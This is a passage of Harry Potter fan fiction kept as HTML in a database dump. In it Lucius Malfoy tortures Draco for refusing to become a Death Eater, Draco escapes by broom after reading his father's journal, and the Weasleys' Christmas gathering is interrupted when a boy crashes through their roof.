slightly to the side. Full metal plate armour gleamed with fresh polish over his father&#8217;s torso and Draco felt it wasn&#8217;t fair that he only had a tunic of mail for protection against his father&#8217;s </font><a href="http://groups.yahoo.com/group/stafic/files/maces.jpg"><u><font size="4">spiked mace</font></u></a><font size="4">. </font></p><font size="4">\n\n<p></p>\n\n<p>What a way to spend the holidays.</p>\n\n<p></p>\n\n<p>He desperately longed for one of the &#8216;Earl and Flicks&#8217;s Menthol cigarettes - with new and improved Calming Charm!&#8217; that resided in his trouser pocket. It was the only way he had found to be even close to normal again, especially since coming home.</p>\n\n<p></p>\n\n<p>Draco acknowledged his father with a curt nod and darted forward, catching the mace&#8217;s tipped end between the spike and hook of his weapon and wrenched it out of his father&#8217;s grip just as the man was about to swing. This took his father by surprise, but it didn&#8217;t show on his face. It never would.</p>\n\n<p></p>\n\n<p>Fluidly, Draco threw the mace behind him and with the same movement curved his hook somewhere under the side joints of Lucius&#8217; breastplate, pulling the man to the floor.</p>\n\n<p></p>\n\n</font><p><font size="4">Placing one foot on his father&#8217;s chest, Draco dipped a hand into the rough linen tunic under his mail and pulled out a </font><a href="http://groups.yahoo.com/group/stafic/files/misericorde.jpg"><u><font size="4">misericorde</font></u></a><font size="4">, hovering the stiletto over Lucius&#8217; heart.</font></p><font size="4">\n\n<p></p>\n\n<p>&#8220;Do you yield?&#8221; he asked the traditional words without a hint of emotion in his voice.</p>\n\n<p></p>\n\n<p>Lucius&#8217; eyebrows rose and he nodded, sitting up. One corner of his mouth jerked up in what, for him, would be a smile. &#8220;Maybe there is hope for you yet.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Thank you, Father. Do I have your permission to withdraw?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Not just yet, there are some matters I must discuss with you.&#8221; He stood from the floor and walked over to his desk, sitting behind it but making no motion for Draco to take a seat himself.</p>\n\n<p></p>\n\n<p>&#8220;After you leave school in June, there are two things that will happen. One is your marriage, of which you were already aware. But the second is something I&#8217;ve only recently been able to discuss with My Lord. He has agreed to accept you into the ranks of the Death Eaters early.&#8221;</p>\n\n<p></p>\n\n<p>Draco&#8217;s eyes widened and Lucius took this as a sign of surprise, rather than the anger it really was.</p>\n\n<p></p>\n\n<p>&#8220;Yes, I know. You are still very young yet. But as a favour to me, the Dark Lord has consented to my request to have you join us immediately upon finishing school.&#8221;</p>\n\n<p></p>\n\n<p>Thoughts swirled through Draco&#8217;s mind; along with emotions he didn&#8217;t know he was capable of having. A Death Eater? He had always known that he was to be married immediately after graduation to a Rosier cousin whose name he didn&#8217;t even know, to produce more heirs for the thinning Malfoy herd. Now this? Was he to have no freedom or would he be forced to bow to the demands of master after master his entire life? Draco made himself keep a neutral face about the matter and swallowed hard.</p>\n\n<p></p>\n\n<p>&#8220;I am . . . honoured, Father. However, I have no wish to join the Death Eaters at any time in the future. I&#8217;m sure that you understand.&#8221;</p>\n\n<p></p>\n\n<p>If it wasn&#8217;t possible before for someone&#8217;s face to turn black, Lucius made the exception.</p>\n\n<p></p>\n\n<p>&#8220;Understand? You&#8217;re <i>honoured</i>? There is no choice in this, Draco. You <i>will</i> be a Death Eater. You were written in as a future member of our ranks the day you were born!&#8221;</p>\n\n<p></p>\n\n<p>Lucius&#8217; eyebrows were beetled into a single line over his forehead and the normal pallor of his skin was blotchy and unrecognisable. Draco kept a firm reign on himself to keep from taking a step back.</p>\n\n<p></p>\n\n<p>&#8220;Father, I<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p>&#8220;You disgust me!&#8221; Lucius stood up. &#8220;Remove your shirt and wait for me in the Chamber.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Father, if you&#8217;ll let me explain<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Another sound from you and it will be an extra twenty.&#8221; Lucius stated more calmly than before, looking down his nose at the boy. &#8220;The Chamber, now.&#8221;</p>\n\n<p></p>\n\n<p>Draco didn&#8217;t dare say anything further, but walked with steady, deliberate steps out of the room and down the hall into the Chamber.</p>\n\n<p></p>\n\n<p>Long ago, when Malfoy Manor was built, one of the very first rooms completed was a torture chamber leant out to priests during the Inquisition.</p>\n\n<p></p>\n\n<p>Although it started in Spain, the movement spread rapidly through Europe and across the Channel into the British Isles. The first Malfoys of the area had brought their beloved customs with them from France, as they were priests whose loyalties had lain with those who were persecuting their own people. Malfoys always had been ones to save their own skins first and those of others later if at all. Wizards and witches by the score were brought into the Manor to be stretched, burned, shorn, and often buried in unmarked graves on the land if they didn&#8217;t confess their &#8216;sins&#8217;.</p>\n\n<p></p>\n\n<p>Now the youngest master of this house looked around him at the various implements of torture and wondered which his father would use this time. It had been almost six months since he had displeased his father so badly. The spider incident, as Draco lovingly referred to it, was the first and last time he&#8217;d set foot in this room.</p>\n\n<p></p>\n\n<p>Draco quickly took off the heavy chain mail and the linen tunic underneath, which left him to face the chill in only a pair of trousers. Perhaps that was part of the torment. Lucius strode through the door just as Draco was placing his shoes and dagger on a stray chair.</p>\n\n<p></p>\n\n<p>&#8220;Which is it to be tonight, boy?&#8221;</p>\n\n<p></p>\n\n<p>Draco didn&#8217;t allow his shoulders to fall, but raised his head firmly and walked around the room. It seemed that he was to pick out his own method of punishment tonight.</p>\n\n<p></p>\n\n<p>He walked by the Catherine Wheel and tongue stretchers; thumbscrews weren&#8217;t painful enough, and Father would punish him more severely if he took the coward&#8217;s way out. Water torture: that would suffice. He pointed at the contraption and Lucius shook his head.</p>\n\n<p></p>\n\n<p>&#8220;You could be drowned. How would I explain that to the Dark Lord?&#8221;</p>\n\n<p></p>\n\n<p>Draco frowned and continued to walk along the narrow pathways past various instruments of pain. Punishments seemed even more unbearable when he had to deliberate like this instead of getting it over with. But Lucius enjoyed the ritual of it all; it comforted him as mulled wine on a cold night heartened most.</p>\n\n<p></p>\n\n<p>&#8220;The Hot Seat?&#8221; Draco asked.</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t be daft, I want heirs from you someday.&#8221;</p>\n\n<p></p>\n\n<p>Torture could be a very tricky process. Too much pressure one way or another and the victim was either dead or horribly mutilated. Lucius had no use for a crippled son, and too many uses for a dead one. Charms to cover scars and to seal wounds came in useful at the Malfoy &#8216;home&#8217;. Then again, some of the marks he made couldn&#8217;t be concealed.</p>\n\n<p></p>\n\n</font><p><font size="4">Lucius sighed in exasperation and picked up a pair of </font><a href="http://groups.yahoo.com/group/stafic/files/thumbscrews.jpg"><u><font size="4">thumbscrews</font></u></a><font size="4">. &#8220;These will have to do; I don&#8217;t have all night to be about this. I&#8217;ll just hang you by your fingers for a few hours and that should make up for it.&#8221;</font></p><font size="4">\n\n<p></p>\n\n<p>Draco&#8217;s fingers were shoved between the spiked, metal plates and Lucius twisted the screws on each side until Draco&#8217;s bones started to crunch and the pads turned purple. He bit back a gasp.</p>\n\n<p></p>\n\n<p>&#8220;Hmmn, on second thought, what would I do if you had no fingers? I&#8217;d best suspend you by the wrists instead.&#8221;</p>\n\n<p></p>\n\n<p>The thumbscrews were released and Draco didn&#8217;t dare rub his hands to bring back the feeling. A thick rope was tied around his wrists, the other end thrown over a rafter, and the ground was no longer under his feet as he was pulled up to hover over the floor by a few inches.</p>\n\n<p></p>\n\n<p>Lucius regarded him critically. &#8220;Twenty lashes. Then you may come down when you apologise and agree to fulfil your family obligations.&#8221;</p>\n\n<p></p>\n\n<p>Draco rolled his eyes and held a tight rein on his vocal cords. His father seemed to enjoy flapping his lips; that was the real torture. Maybe if he bit his own lip it would keep the sarcasm in check and this would be over with soon.</p>\n\n<p></p>\n\n<p>The whip cracked and there was the even, fiery sting across his back that he remembered and loathed, yet craved at the same time. He had been content without it before, but now Draco realised that it was the only form of love he would ever receive from his father. </p>\n\n<p></p>\n\n<p>That was one . . .</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Mrs Weasley please, I can&#8217;t eat another bite.&#8221;</p>\n\n<p></p>\n\n<p>Molly sighed and put down her serving spoon. &#8220;If you say so, Harry. But you&#8217;re terribly thin and I worry about you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Muuum! Harry&#8217;ll throw up if you make him eat anymore. He&#8217;s always been a skinny little bloke.&#8221;</p>\n\n<p></p>\n\n<p>Harry sat up straighter and glared at Ron. &#8220;I may be a skinny bloke, but I&#8217;m hardly little, am I?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Well,&#8221; Ron admitted. &#8220;I suppose not, seeing as how you&#8217;re almost an inch taller than I am.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;More than an inch, I&#8217;m an inch and three-quarters over six.&#8221; Harry smirked at Ron, very satisfied with himself and pleased by the fact that he could still act like a five year-old without cares on occasion.</p>\n\n<p></p>\n\n<p>&#8220;You are not!&#8221; Ron shouted, spewing kippers everywhere. &#8220;I&#8217;ll kill Fred and George if you are.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yep, measured myself just last week.&#8221; Harry crossed his arms smugly and lifted one corner of his mouth.</p>\n\n<p></p>\n\n<p>Ron looked at him witheringly. &#8220;I wasn&#8217;t talking about your<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ron!&#8221; Ginny gasped.</p>\n\n<p></p>\n\n<p>&#8220;What? I was going to say his shoe size.&#8221;</p>\n\n<p></p>\n\n<p>Ginny rolled her eyes. &#8220;Sure you were.&#8221; She turned to their mother. &#8220;Speaking of, when are the twins going to be here, Mum?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Merlin only knows; they&#8217;re still in America looking over new ideas for the shop, so they may not be here until Christmas Eve.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; Ginny clasped her hands together in an earnest way. &#8220;I hope they bring me something keen, you know they&#8217;ll do their Christmas shopping there.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh, I hope they&#8217;ll bring me something keen!&#8221; Ron mocked in a high-pitched voice.</p>\n\n<p></p>\n\n<p>&#8220;Quiet you,&#8221; Ginny swatted her older brother on the head. &#8220;Or I&#8217;ll tell Charlie to keep the present he bought you for Christmas.&#8221;</p>\n\n<p></p>\n\n<p>Ron&#8217;s eyes lit up. &#8220;What is it? Tell me, tell me, tell me!&#8221;</p>\n\n<p></p>\n\n<p>Ginny crossed her arms and winked at Harry. &#8220;Harry knows, but I&#8217;m not saying a word about it. You&#8217;ll have to wait until Christmas.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Come on, Harry, tell me what it is.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley smacked her son over the head with a wooden serving spoon. &#8220;Leave them alone. You&#8217;ll find out on Christmas and not before.&#8221; She stood up and smoothed down her wrinkled calico apron. &#8220;Now Charlie is Portkeying in tonight and I want you to leave him alone about your present. He&#8216;s still recovering from that dreadful splinching incident a few days ago.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yes, Mum,&#8221; Ron agreed, rubbing his head where the spoon had hit. &#8220;When are Dad and Perce going to be home today? I have this Muggle thing I picked up from one of our Muggle Studies trips to Snowdon last week and I want to show him.&#8221;</p>\n\n<p></p>\n\n<p>Molly&#8217;s face fell. &#8220;Percy won&#8217;t be home today, and not for Christmas either. He&#8217;s on an important business trip for the Ministry and won&#8217;t be able to come.&#8221;</p>\n\n<p></p>\n\n<p>Ginny sighed, &#8220;You mean we&#8217;ll be missing <i>two</i> brothers this year?&#8221; Mrs Weasley nodded and Ron put his head over a fist.</p>\n\n<p></p>\n\n<p>&#8220;Rotten. I never thought I&#8217;d say this, but it won&#8217;t seem the same without Percy here to bore everyone to death with his reports on cauldron thickness. And without Bill here, it&#8216;s bound to be no fun.&#8221;</p>\n\n<p></p>\n\n<p>Harry and Ginny murmured their agreement. Since Harry had spent his last two winter holidays with the Weasley clan, he had come to expect certain things: Fred and George to tease the girls, Charlie to talk about dragons and teach him some Quidditch moves, while Bill always managed to convince his parents to let everyone open presents early, and Percy<font face="Times New Roman">&#8212;</font> Well, it was always loads of fun to tease the poor boy about his unflagging devotion to the Ministry.</p>\n\n<p></p>\n\n<p>This Christmas was going to be terribly different.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Are you ready to apologise, Draco?&#8221;</p>\n\n<p></p>\n\n<p>Lucius Malfoy stood beneath him, waiting expectantly for a reply. Draco carefully drew in a breath; if he hung here much longer, he would suffocate from his own body weight and the need to breathe would no longer exist.</p>\n\n<p></p>\n\n<p>&#8220;Sir, I apologise for my actions earlier. However, I still do not wish to become a Death Eater.&#8221; What had possessed him to say that? He could have easily lied and found another way to get out of it later.</p>\n\n<p></p>\n\n<p>&#8220;Still the same.&#8221; Lucius shook his head. &#8220;You are a stubborn boy, and I <i>will </i>break you eventually. Why don&#8217;t I give you another hour or two to think about it?&#8221; He picked up the whip that had been discarded earlier. &#8220;And here is a little motivation to speed things along.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>It had been six hours and Draco was still dangling over the intricately detailed stone floor. He had had much time to study the pattern and knew the way each piece fit into the next by heart. He looked up when Lucius came thundering into the room.</p>\n\n<p></p>\n\n<p>&#8220;Well?&#8221;</p>\n\n<p></p>\n\n<p>Draco tried to inhale in order to speak, but his breath was shallow at best, making his speech thin and strained. &#8220;Sir, I apologise for my actions<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Lucius waved this away. &#8220;Save it, I&#8217;ve heard enough tonight. I&#8217;ll be by in the morning to see if you have changed your mind.&#8221;</p>\n\n<p></p>\n\n<p>Draco watched as his father walked away. There were many thoughts racing through his brain, but only one kept repeating itself.</p>\n\n<p></p>\n\n<p>He wouldn&#8217;t be alive come morning.</p>\n\n<p></p>\n\n<p>The weight of his body was too much for his lungs to take and already it was agony to breathe enough to speak those words to his father. The bindings had worn away a good deal of his flesh and the blood that flowed caked his arms with long, brownish streaks. </p>\n\n<p></p>\n\n<p>It was time to make a decision.</p>\n\n<p></p>\n\n<p>With new-found strength, Draco started to swing his body backwards and forwards. If he could only reach the misericorde he had left on top of his tunic. The chair with his clothes was only just out of reach, the dagger glinting softly through the folds of cloth.</p>\n\n<p></p>\n\n<p>One mighty swing and Draco managed to hook his feet around the chair, arching his body to bring it closer. It dragged along the floor and he winced at the noise it made. Hopefully his father was already in bed and wouldn&#8217;t hear.</p>\n\n<p></p>\n\n<p>It was there, just under his dangling legs and Draco stepped on the cushion, which supported him enough so that he was finally able to take a real breath. He stood there a moment, regaining strength, before he picked through the cloth with his feet and found the dagger.</p>\n\n<p></p>\n\n<p>Another moment went by as Draco thought of how he would manage to reach it with his hands and not use his fingers. He wrapped the dagger with his feet as best he could and kicked back on the chair, toppling it over and leaving him free to sway. The ropes bit into his wrists again and fresh blood flowed over the old.</p>\n\n<p></p>\n\n<p>He built momentum, bringing his feet a little closer each time until he was finally able to touch the blade with fingers blissfully numb from circulation loss. He knew that all his Seeker flexibility would come in handy one day. Draco wriggled his hands until he felt that the edge of the dagger was against the rope and moved his fingers carefully up and down.</p>\n\n<p></p>\n\n<p>A misericorde is long and thin, meant only to stab, so its edge is dull. But Draco kept working, and after what seemed an eternity, the final thread snapped and he was free.</p>\n\n<p></p>\n\n<p>The force of impact stunned him for a moment, and Draco found himself wondering if he would be able to stand, much less walk to his room. Arms, which had been above his head for hours, refused to come down and it took almost ten minutes just to keep his limbs from floating in the air when he relaxed them.</p>\n\n<p></p>\n\n<p>If he were found somewhere other than this room there would be hell to pay. But if he wasn&#8217;t found at all . . . It was at this moment that Draco decided he had had enough. He wouldn&#8217;t be a Death Eater, and he wouldn&#8217;t be a pawn in his father&#8217;s games any longer. Even being dead was preferable to that, however Draco had a very strong urge to live.</p>\n\n<p></p>\n\n<p>When he was able to put on the shirt, he did so and crept quietly out of the Chamber toward his room. His wand was lying where he had left it on the desk and he carefully pocketed it. The contents of his moneybag were emptied out on top of the bed and Draco frowned; fifty Galleons and a few Sickles wouldn&#8217;t get him very far.</p>\n\n<p></p>\n\n<p>Draco ignored the money for the time being and proceeded to stuff a few items in a bag. He would buy food when he was gone; the house-elves would tell his father if they saw him in the kitchens. Wand, clothes, money . . . He needed more money.</p>\n\n<p></p>\n\n<p>Grabbing his Cloudstriker IV from the closet, Draco tiptoed his way through the narrow hallways to his father&#8217;s study. The door was locked of course, but he knew the incantation and things proceeded without incident.</p>\n\n<p></p>\n\n<p>He knew that his father kept some money in his desk to give the elves when they went to market. The drawer was locked as well, but here Draco had a problem. He could always smash the top of the desk but that would be noisy and could take too much time. It was probably protected by a password, but what was it? Draco set down his broom and sat at the desk.</p>\n\n<p></p>\n\n<p>Knowing his father&#8217;s turn of mind, he whispered several things before the phrase &#8216;Dark Mark&#8217; allowed him entry into the little stash. Draco&#8217;s lips twisted wryly: how typical.</p>\n\n<p></p>\n\n<p>Draco stuffed several small leather bags into his pockets and was about to close the drawer before his eyes rested on a book: his father&#8217;s journal. It was too good to pass up without taking a peek.</p>\n\n<p>He read through a few boring passages, flipping the pages before he caught sight of his own name and started to shake as he scanned lines which had been penned only hours before.</p>\n\n<i><p></p>\n\n<p>Draco is becoming more difficult to control. I&#8217;ve been assured by My Lord that the Tir nOg curse does not wear off and can only be broken by phoenix tears. How likely is he to have crossed paths with a phoenix?</p>\n\n<p></p>\n\n<p>The boy is irritating beyond measure, and if My Lord were not in such need of him I would have drowned the brat years ago; I could always make more heirs. But My Lord has invested much time and effort in making sure that our line was bred to be the cream of humanity and thus I respect his decisions. Draco is the culmination of his dreams, and it honours me beyond measure that the Dark Lord has chosen my son to be his physical vessel for the new world about to be created.</p>\n\n<p></p>\n\n<p>I must remember to write back to that little poof from the Ministry. He becomes &#8216;desperate without my company&#8217;. What a sentimental idiot.</p>\n\n</i><p></p>\n\n<p>For a moment, Draco couldn&#8217;t move. But then a noise from the hallway made him jump and he realised that his father was walking to the Chamber to check on him. Father had lied when he said that he wouldn&#8217;t be back until morning just to scare him! But Draco didn&#8217;t care that he had fallen for the bait and was even more determined than ever to get away.</p>\n\n<p></p>\n\n<p>He ripped the last page from the journal and stuffed it in a pocket to study later. The book itself went back to the drawer and he closed it carefully. Draco stood up, loaded down with his bag and gold, and opened the window. He mounted the broom and flew out into the cold night air. It was only when the wind started biting his toes that Draco remembered he hadn&#8217;t put any shoes on.</p>\n\n<p></p>\n\n<p>Shoes could be procured, Draco thought and he turned the broom toward London.</p>\n\n<p></p>\n\n<p>\n\n<b>Reviewing is good for your soul and mine, too! Don&#8217;t you just feel the need to unburden yourself? I know you do. </b></p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 6, ' <font size="4"><p>&#8220;Charlie!&#8221; Ginny squealed as she threw herself at the redheaded man walking through the front door.</p>\n\n<p></p>\n\n<p>&#8220;There&#8217;s my little smoke puff!&#8221;</p>\n\n<p></p>\n\n<p>The rest of the Weasleys hung back when Ginny&#8217;s feet went flying as she was swung up into the air. &#8220;I&#8217;ve missed you so much!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ve missed you, too.&#8221; Charlie suddenly grinned. &#8220;Come over here, Ron, and give us a squeeze.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;That&#8217;s okay, I don&#8217;t feel like getting clocked in the face by Ginny&#8217;s feet.&#8221;</p>\n\n<p></p>\n\n<p>Charlie put her down and stomped over to give Ron a bear hug. The fact that he was now several inches shorter than his baby brother didn&#8216;t seem to faze him in the slightest. &#8220;Aww what&#8217;s the matter? Is ickle Ronnikins too grown up to hug his big brother?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, I just can&#8217;t breathe is all,&#8221; Ron managed to choke out.</p>\n\n<p></p>\n\n<p>&#8220;Eh, you&#8217;re a tough little chap.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Little?!&#8221;</p>\n\n<p></p>\n\n<p>Ron was dropped and exchanged for Mr and Mrs Weasley. &#8220;So what are you making for tea, Mum?&#8221;</p>\n\n<p></p>\n\n<p>Molly hauled back and smacked Charlie on the head. &#8220;In the house less than five minutes and all you can say is &#8216;what&#8217;s for tea&#8217;?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sorry, Mum,&#8221; Charlie rubbed his temple and grinned ruefully. &#8220;Harry! Good to see you.&#8221;</p>\n\n<p></p>\n\n<p>Harry crept backwards, attempting to avoid the seeking arms. Fortunately for him, Charlie settled on a handshake and a dizzying blow to the back.</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t kill the poor boy, Charlie,&#8221; Mrs Weasley admonished.</p>\n\n<p></p>\n\n<p>&#8220;He can take it, can&#8217;t you Harry?&#8221;</p>\n\n<p></p>\n\n<p>Harry only nodded and sat down on the couch. Charlie was soon next to him and Ginny settled herself on her brother&#8217;s lap.</p>\n\n<p></p>\n\n<p>&#8220;Tell us about the dragons, Charlie. I want to hear all the news.&#8221;</p>\n\n<p></p>\n\n<p>Ron groaned. &#8220;Ginny is the one you should have smacked, Mum. I don&#8216;t think I can handle another lively discussion on the differences between the horns of a male and female Gre<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ronald! Our brother can talk about whatever makes him happy. I don&#8217;t tear out my hair every time I hear you talk about the Chudley Cannons do I?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But that&#8217;s Quidditch. You like Quidditch!&#8221; Ron was feeling offended and would soon be so mired in his childhood habits that it would be impossible to talk with him.</p>\n\n<p></p>\n\n<p>&#8220;Come on, be nice and stop arguing with everybody. Your brother is home now.&#8221; Harry felt it was his duty to pull Ron out of his infantile behaviour before it got out of hand.</p>\n\n<p></p>\n\n<p>&#8220;That doesn&#8217;t mean that Ron will stop acting like a baby. In fact, he usually acts like <i>more</i> of a baby when the big boys are here,&#8221; Ginny interjected in a mischievous tone.</p>\n\n<p></p>\n\n<p>&#8220;Do not,&#8221; Ron pouted.</p>\n\n<p></p>\n\n<p>&#8220;See?&#8221; she pointed out, bouncing on Charlie&#8217;s lap with glee.</p>\n\n<p></p>\n\n<p>&#8220;Enough, you two. It&#8217;s time for tea, your Mum says.&#8221; The normally quiet Mr Weasley raised his voice enough to be heard and there was a stampede as the four young <i>adults</i> raced each other to the kitchen and the wonders it contained.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;That was your best meal ever, Mrs Weasley,&#8221; Harry sighed, rubbing his contented belly.</p>\n\n<p></p>\n\n<p>&#8220;Yeah, Mum. That was great!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It was only steak and chips with a bit of egg. Nothing fancy really.&#8221; Molly blushed at the complement and sipped her tea. &#8220;More eggs, Charlie?&#8221;</p>\n\n<p></p>\n\n<p>Charlie waved his one hand while resting the other on top of his solid stomach. &#8220;No, I&#8217;m all right.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Harry?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Uh uh, I think I was still full from earlier.&#8221;</p>\n\n<p></p>\n\n<p>Ginny stood up from the table and started clearing away the dishes. &#8220;After I do these, I think I&#8217;ll take a bath and go to bed. I&#8217;m awfully tired for some reason.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You do that dear, I&#8217;ll help you.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley rose from her chair and followed Ginny over to the sink. Ron leaned over to Harry and whispered. &#8220;Wanna play chess for a bit?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sure. But why are we whispering?&#8221;</p>\n\n<p></p>\n\n<p>Ron shrugged as he looked out the window at the first snow of the season. &#8220;Don&#8217;t know. Let&#8217;s play in front of the fire though, it&#8217;s nippy tonight.&#8221;</p>\n\n<p></p>\n\n<p>Harry agreed and soon they were involved in the match to end all matches. Ron actually looked confused for a moment when he realised that Harry had put his king in check so quickly.</p>\n\n<p></p>\n\n<p>&#8220;How did you do that?&#8221; Ron asked, narrowing his eyes.</p>\n\n<p></p>\n\n<p>Harry shrugged. &#8220;Don&#8217;t know; it just seemed like the thing to do.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Hmmn, better watch my game from now on. Next thing I know, you&#8217;ll have my queen,&#8221; he muttered to himself, not really paying attention to the board. &#8220;Knight to D5.&#8221;</p>\n\n<p></p>\n\n<p>The knight moved up and over one space to the right obediently. It was only after a moment that Ron realised his mistake and flushed. Harry grinned good-naturedly as he ordered his bishop diagonally to capture the black queen. She screamed something profane at Ron before she was swept off of the board.</p>\n\n<p></p>\n\n<p>&#8220;You were saying?&#8221;</p>\n\n<p></p>\n\n<p>Ron gritted his teeth. It was only chess, nothing to get upset over, he told himself. But his inner voice was hollow and the words didn&#8217;t sink in completely. &#8220;Rook to A4.&#8221;</p>\n\n<p></p>\n\n<p>The game went on for a while longer before Ron smiled triumphantly. &#8220;Checkmate.&#8221;</p>\n\n<p></p>\n\n<p>Harry sighed and flipped his king over on its side. &#8220;Well done, Ron.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Thanks, Harry. You may have captured my queen, but <i>I</i> won the game.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No need to be smug about it,&#8221; Harry groused. He had the odd feeling that Ron wasn&#8217;t referring to just chess with his last statement. Ron grinned though and the suspicion melted away.</p>\n\n<p></p>\n\n<p>&#8220;Sorry, Harry. Just got carried off with it is all.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Quite all right.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oi, you fellows! Mum&#8217;s made cocoa so come into the kitchen,&#8221; Charlie shouted to them from the doorway. </p>\n\n<p></p>\n\n<p>Harry smiled and stood up from the floor, offering out a hand to help Ron up but he waved it away.</p>\n\n<p></p>\n\n<p>&#8220;You go ahead, I&#8217;m going to clean up first.&#8221;</p>\n\n<p></p>\n\n<p>Harry shrugged. &#8220;If you say so. Want me to bring you some back?&#8221;</p>\n\n<p></p>\n\n<p>Ron shook his head and Harry walked off towards the brightly-lit kitchen. The fireplace in front of Ron was mostly embers now, but he stared into it as if it held all the secrets of the world.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Where&#8217;s Ron at, love?&#8221; Mrs Weasley asked Harry, her eyebrows raised in concern when he walked into the kitchen alone.</p>\n\n<p></p>\n\n<p>&#8220;Oh, he said he&#8217;s going to clean up first and then he&#8217;ll be along.&#8221;</p>\n\n<p></p>\n\n<p>Molly studied Harry carefully before going back to her cocoa. &#8220;There are biscuits here if you want them. Just chat with us for awhile, you&#8217;ve been at school all year and we didn&#8217;t get to see you for very long this summer.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;All right, though there isn&#8217;t much to tell, it&#8217;s been a fairly dull year so far. Except for Hermione and Ginny taking falls out on the Quidditch pitch, of course.&#8221;&#8217;</p>\n\n<p></p>\n\n<p>Arthur shook his head sadly. &#8220;I&#8217;m only glad that the girls weren&#8217;t more seriously injured. Is poor Hermione still laid up in the Infirmary?&#8221;</p>\n\n<p></p>\n\n<p>Harry nodded. &#8220;Yes, but she should be able to come to the Burrow in a few days or so.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;That&#8217;s good. I was so worried about her when Ginny and Ron sent me that owl.&#8221;</p>\n\n<p></p>\n\n<p>Molly sniffled and Arthur leaned over to cover her hand in his own. &#8220;She&#8217;ll be all right, Moll. Don&#8217;t worry about that one, she&#8217;s tough as dragonhide even if she is just a little girl.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m convinced that this is the year of the falling Weasleys,&#8221; Charlie added to the conversation. &#8220;Why just last week I fell off of the Opaleye we&#8217;re trying to break into saddle.&#8221;</p>\n\n<p></p>\n\n<p>Harry&#8217;s eyes widened. &#8220;You&#8217;ve an Opaleye out there?&#8221;</p>\n\n<p></p>\n\n<p>Charlie didn&#8217;t get a chance to answer though as he was thumped soundly by his mother. &#8220;Why didn&#8217;t you <i>tell</i> me that you fell off of a dragon? And what were you doing trying to saddle one in the first place? You know they don&#8217;t take well to riders.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Mum, I didn&#8217;t think<font face="Times New Roman">&#8212;</font> &#8221; Charlie was saved from having to explain this to his mother by the sound of a tremendous crash from upstairs. It took only a minute for the four to glance at each other in question before they all took off running up the stairs to the top floor behind Ron who had been closer.</p>\n\n<p></p>\n\n<p>&#8220;Ginny?&#8221; Mr Weasley shouted. &#8220;Ginny, are you all right?&#8221;</p>\n\n<p></p>\n\n<p>A door opened at the end of the upstairs hall and the sleepy red-haired girl rubbed a hand over her eyes. &#8220;What&#8217;s going on?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh thank heavens!&#8221; Mrs Weasley shouted and clasped her baby close.</p>\n\n<p></p>\n\n<p>&#8220;Mum, I&#8217;m fine. But what was that noise?&#8221;</p>\n\n<p></p>\n\n<p>During this time, the boys had all been creeping toward the bathroom with their wands drawn and followed by Mr Weasley. He stopped them before they were able to open the door.</p>\n\n<p></p>\n\n<p>&#8220;If there is something dangerous in there, I had better go first,&#8221; he said quietly. Charlie nodded and pushed Ron and Harry behind him with Ginny and Mrs Weasley peering around from back of them.</p>\n\n<p></p>\n\n<p>Carefully, Mr Weasley turned the knob on the bathroom door and creaked it open enough for him to see inside. He stood there for a moment, blocking the path before pushing the door all the way against the wall.</p>\n\n<p></p>\n\n<p>&#8220;A boy has fallen through our roof, Molly.&#8221; Arthur tilted his head to the side in puzzlement as Mrs Weasley pushed him out of the way to see for herself.</p>\n\n<p></p>\n\n<p>&#8220;Sweet Merlin! It <i>is</i> a 